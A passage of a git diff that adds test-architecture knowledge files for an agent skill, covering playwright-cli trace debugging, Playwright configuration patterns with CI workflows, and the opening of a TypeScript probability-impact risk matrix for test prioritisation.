+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
